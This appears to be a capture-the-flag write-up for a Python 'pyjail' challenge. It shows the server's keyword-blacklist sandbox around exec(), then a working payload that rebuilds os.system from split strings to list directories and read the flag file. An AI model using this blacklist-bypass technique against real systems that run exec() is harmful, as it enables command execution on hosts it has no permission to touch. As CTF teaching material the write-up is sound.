$ nc prob.vulnerable.kr 20001
Hi! Welcome to pyjail!
========================================================================
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
    print("Hi! Welcome to pyjail!")
    print("========================================================================")
    print(open(__file__).read())
    print("========================================================================")
    print("RUN")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("No!!!")
            return;
    else:
        exec(text)
if __name__ == "__main__":
    main()
========================================================================
RUN

It's clear from the code that this a simple token matching for blacklist words. This can be easily bypassed by breaking up the words, eg - say we want to use os.system in exec, we can do getattr(os, "sys" + "tem")

>>> print(getattr(getattr(globals()['__builtins__'], '__im'+'port__')('o'+'s'), 'sys'+'tem')('ls .'))
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
0

Exploration leads to flag file in /home/python_jail

>>> print(getattr(getattr(globals()['__builtins__'], '__im'+'port__')('o'+'s'), 'sys'+'tem')('cat home/python_jail/flag'))
KorNewbie{H311o_h0w_@r3_y0u_d0lng?}0